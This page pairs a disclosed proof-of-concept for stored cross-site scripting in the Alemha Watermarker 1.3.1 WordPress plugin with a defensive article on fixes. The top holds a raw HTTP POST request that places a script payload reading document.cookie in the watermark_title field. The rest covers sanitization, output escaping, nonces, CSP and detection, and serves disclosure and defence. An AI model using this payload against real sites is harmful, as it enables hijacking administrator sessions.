Wordpress Plugin Alemha Watermarker 1.3.1 - Stored Cross-Site Scripting (XSS)

Exploit Author: Erdemstar Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-04-03
# Exploit Title: Wordpress Plugin Alemha Watermarker 1.3.1 - Stored Cross-Site Scripting (XSS)
# Date: 22 March 2024
# Exploit Author: Erdemstar
# Vendor: https://wordpress.com/
# Version: 1.3.1

# Proof Of Concept:
1. Click Add New Watermark and enter the XSS payload into the Watermark Text.
2. Stored XSS will run on anyone who wants to edit this page.

# Vulnerable Property: watermark_title
# PoC Video: https://youtu.be/XEe0Sno6e2g?si=mcgO6VbAwymGXcCp
# Request:
POST /wp-admin/post.php HTTP/2
Host: erdemstar.local
Cookie: wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=Attacker%7C1711297520%7CVlz1u8etD9HWW066CNCiUHaGUmSK3WLtvpSKgHVMtzP%7C50573cb574c70a41a241cb9f1f1e3ff22f539fc8630599f2503d02a6c1a7e678; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wp-settings-time-4=1711124335; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=Attacker%7C1711297520%7CVlz1u8etD9HWW066CNCiUHaGUmSK3WLtvpSKgHVMtzP%7Cdae14d9d9aa7f0c4df03783bb2bd321a5b3d6a63d8c3e1ae131dda689c595862; wp-settings-time-5=1711124723
Content-Length: 1460
Upgrade-Insecure-Requests: 1
Origin: https://erdemstar.local
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://erdemstar.local/wp-admin/post-new.php?post_type=watermark&wp-post-new-reload=true
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

_wpnonce=99a1d1e63a&_wp_http_referer=%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Dwatermark&user_ID=5&action=editpost&originalaction=editpost&post_author=5&post_type=watermark&original_post_status=auto-draft&referredby=https%3A%2F%2Ferdemstar.local%2Fwp-admin%2Fedit.php%3Fpost_type%3Dwatermark&_wp_original_http_referer=https%3A%2F%2Ferdemstar.local%2Fwp-admin%2Fedit.php%3Fpost_type%3Dwatermark&auto_draft=1&post_ID=35&meta-box-order-nonce=ea875c0c6f&closedpostboxesnonce=d29be25ad8&post_title=&samplepermalinknonce=1e667edd3a&wp-preview=&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=03&jj=22&aa=2024&hh=16&mn=25&ss=23&hidden_mm=03&cur_mm=03&hidden_jj=22&cur_jj=22&hidden_aa=2024&cur_aa=2024&hidden_hh=16&cur_hh=16&hidden_mn=25&cur_mn=25&original_publish=Publish&publish=Publish&tax_input%5BCategories%5D%5B%5D=0&post_name=&custom_meta_box_nonce=d1322f94a0&watermark_title=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&img_sizes%5B%5D=thumbnail&img_sizes%5B%5D=medium&img_sizes%5B%5D=large&img_sizes%5B%5D=full&txt_type=ARIAL.TTF&rgb=38%2C1%2C24&txt_size=8&color=%23260118&rotation=&opicity=100&position=top&destance_x=&mesaure_x=px&padding=&mesaure_y=px&background=yes&rgb_bg=255%2C0%2C0&bg_destance_x=&bg_padding=&color_bg=%23ff0000&image=&img_rotation=&img_opicity=100&img_position=top&img_size=4&img_destance_x=&img_mesaure_x=px&img_padding=&img_mesaure_y=px


Alemha Watermarker 1.3.1 — Stored Cross‑Site Scripting (XSS): Analysis, Risks, and Fixes

This article explains the stored Cross‑Site Scripting (XSS) vulnerability disclosed in the Alemha Watermarker WordPress plugin (version 1.3.1), describes the security impact, and provides practical, developer‑ and administrator‑level guidance for mitigation, hardening and detection. The recommendations emphasize safe WordPress APIs, output escaping, and operational controls to reduce risk.

Summary of the Issue

Type: Stored (persistent) Cross‑Site Scripting (XSS)
Affected component: plugin metadata field (user-provided watermark title/label)
Affected version: Alemha Watermarker 1.3.1

Stored XSS occurs when untrusted input is saved by an application and later rendered inside pages viewed by other users without proper sanitization or escaping. In this case, a watermark title saved by a user was later rendered in administrative pages, enabling scripts stored in that title to execute in the context of other admins/editors.

Why This Is Dangerous

  • Persistent script execution in admin pages can lead to full account takeover, privilege escalation, or site compromise.
  • Cookies, CSRF tokens, and other sensitive data available to the admin UI may be exfiltrated or used by an attacker.
  • Malicious scripts can modify site content, install backdoors, or create new admin users.

High‑Level Root Causes

  • Insufficient input validation and sanitization before storing user input.
  • Missing or incorrect output escaping when rendering saved values into HTML contexts.
  • Saving untrusted HTML into fields intended to be plain text.
  • Assuming only trusted users will supply input (underestimating risk of compromised accounts or social‑engineered content).

Detection and Indicators

Signs to look for

  • Unexpected script tags or inline event handlers in plugin meta fields stored in the database (review wp_postmeta for watermark-related keys).
  • Warnings or browser console errors on admin pages after installing or editing watermark entries.
  • Unexplained administrator actions, new accounts, or persisted malicious content in post/page/metadata.

Automated and manual checks

  • Run an authenticated scanner (SAST/DAST) or plugin security scanner with admin credentials to detect persisted XSS in WordPress meta fields.
  • Search the database for suspicious HTML or script tokens in fields used by the plugin (avoid pattern-based automated removal without review).
  • Manually review user‑facing admin pages that render metadata for proper escaping.

Immediate Mitigations for Site Administrators

  • Update the plugin to the vendor‑provided patched version if available; if not, temporarily disable or uninstall the plugin until a safe version exists.
  • Limit plugin editing rights: restrict who can create or edit watermark definitions to trusted administrator roles only.
  • Enable a Web Application Firewall (WAF) or reverse proxy rules that can block common XSS payload patterns and filter suspicious requests.
  • Harden admin access: enforce strong passwords, two‑factor authentication, and reduce the number of administrators.
  • Scan and manually audit stored watermark entries and other meta fields; remove or sanitize suspicious records.

Developer Guidance: Secure Fixes and Best Practices

Fixing stored XSS requires both validating/sanitizing input on the way in and escaping output on the way out. Below are safe, WordPress‑centric code patterns you can adopt.

1) Validate and sanitize input when saving

add_action('save_post_watermark', 'myplugin_save_watermark_meta', 10, 3);
function myplugin_save_watermark_meta($post_ID, $post, $update) {
    // Capability and nonce checks (see below)
    if (! current_user_can('edit_post', $post_ID)) {
        return;
    }

    if (isset($_POST['watermark_title'])) {
        // Treat this field as plain text. Remove tags and encode.
        $safe_title = sanitize_text_field(wp_unslash($_POST['watermark_title']));
        update_post_meta($post_ID, 'watermark_title', $safe_title);
    }
}

Explanation: sanitize_text_field strips tags, encodes special characters and trims input. Use wp_unslash to handle WordPress magic quotes. This block demonstrates saving user input only after sanitization and with capability checks.

2) Escape output for the specific HTML context

<!-- when rendering in an admin page or meta box -->
<label for="watermark_title">Watermark title</label>
<input id="watermark_title" name="watermark_title" type="text"
       value="<?php echo esc_attr( get_post_meta($post->ID, 'watermark_title', true) ); ?>" />

Explanation: esc_attr escapes for inclusion inside an HTML attribute. Use esc_html when injecting into element body text. Always choose the escaping function that matches the output context (attribute vs. element content vs. JavaScript).

3) Use nonces and capability checks

// In the meta box output
wp_nonce_field('myplugin_save_watermark', 'myplugin_watermark_nonce');

// In save handler
if (! isset($_POST['myplugin_watermark_nonce']) || ! wp_verify_nonce($_POST['myplugin_watermark_nonce'], 'myplugin_save_watermark')) {
    return;
}
if (! current_user_can('edit_post', $post_ID)) {
    return;
}

Explanation: Nonces mitigate CSRF and ensure the request originates from an expected form. current_user_can enforces authorization: never assume the current user is trusted.

4) When allowing rich content, sanitize with a policy

// Allow a safe set of tags only
$allowed = wp_kses_allowed_html('post'); // or define a custom allowed list
$clean_html = wp_kses(wp_unslash($_POST['some_html_field']), $allowed);
update_post_meta($post_ID, 'some_html_field', $clean_html);

Explanation: If a field must accept limited HTML, use wp_kses with a whitelist that explicitly lists allowed tags and attributes. Never allow arbitrary HTML or scripts.

Operational Hardening

  • Enable Content Security Policy (CSP) for admin pages to restrict inline scripts and external script sources. CSP can reduce impact even if malicious HTML is stored. Example policies should be tested carefully in staging before production.
  • Regularly audit plugins and remove unused or unmaintained plugins. Prefer plugins with an active security response and frequent updates.
  • Maintain regular backups and a tested incident response playbook for site compromise scenarios.

Example: Minimal CSP header for wp-admin

// Example: add a CSP header for wp-admin via PHP (adjust to your environment)
add_action('admin_init', function() {
    header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';");
});

Explanation: This header disallows scripts from third‑party origins and blocks inline scripts by default. Real deployments may require nonce-based script allowances or relaxed policies for required admin features. Test thoroughly before rolling out.

Detection and Remediation Steps for Compromise

  • Search stored metadata for suspicious HTML or JavaScript tokens and remove or sanitize offending entries.
  • Inspect admin accounts for unauthorized changes and rotate credentials and secrets (API keys, OAuth tokens, etc.).
  • Restore from a clean backup if there is evidence of persistent compromise.
  • Check for new plugins, modified files, or scheduled tasks that could indicate backdoors.

Conclusion and Recommendations

Stored XSS vulnerabilities like the one reported in Alemha Watermarker 1.3.1 are preventable with defensive coding practices: validate and sanitize input on write, escape output correctly on display, enforce authorization with nonces and capability checks, and apply runtime mitigations such as CSP and WAFs. Site administrators should promptly apply vendor fixes or remove vulnerable plugins, restrict who may create or edit plugin metadata, and monitor for indicators of compromise.

For plugin authors: adopt WordPress APIs for sanitization and escaping, run automated SAST checks during CI, and add security reviews for input/output handling in admin contexts. For site owners: keep plugins updated, limit admin access, enable strong authentication, and have a recovery plan in place.